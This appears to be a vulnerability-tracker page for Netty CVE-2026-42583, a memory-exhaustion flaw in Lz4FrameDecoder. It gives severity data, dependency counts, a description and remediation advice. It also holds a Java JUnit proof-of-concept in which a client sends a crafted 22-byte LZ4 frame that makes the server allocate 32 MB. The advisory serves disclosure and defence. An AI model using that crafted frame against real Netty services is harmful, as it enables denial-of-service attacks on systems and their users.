Netty CVE-2026-42583
HIGHCVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
3Blast Radius
ecosystem impact- 3,204 maven packages depend on io.netty:netty-codec (36 direct, 3,168 indirect)
- 1,076 maven packages depend on io.netty:netty-codec-compression (8 direct, 1,068 indirect)
Ecosystem-wide dependent count for version 4.1.133.Final and other introduced versions.
DescriptionNVD
Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
AnalysisAI
Memory exhaustion in Netty's Lz4FrameDecoder allows remote unauthenticated attackers to cause denial of service by sending minimal malicious data that triggers disproportionate server-side memory allocation. A 22-byte crafted LZ4 frame forces the decoder to allocate up to 32MB of heap memory per request, enabling resource exhaustion attacks against Java applications using Netty's compression codec. …
Sign in for full analysis, threat intelligence, and remediation guidance.
RemediationAI
Within 24 hours: Inventory all Java applications using Netty and confirm whether LZ4 compression (Lz4FrameDecoder) is enabled and exposed to untrusted network input; document application criticality and current Netty versions. Within 7 days: Implement network-level rate limiting and request-size filtering to restrict LZ4 frame processing volume from external sources; increase JVM heap monitoring and alerting thresholds to detect abnormal memory consumption. …
Sign in for detailed remediation steps.
More from same product – last 7 days
Vendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-mj4r-2hfc-f8p6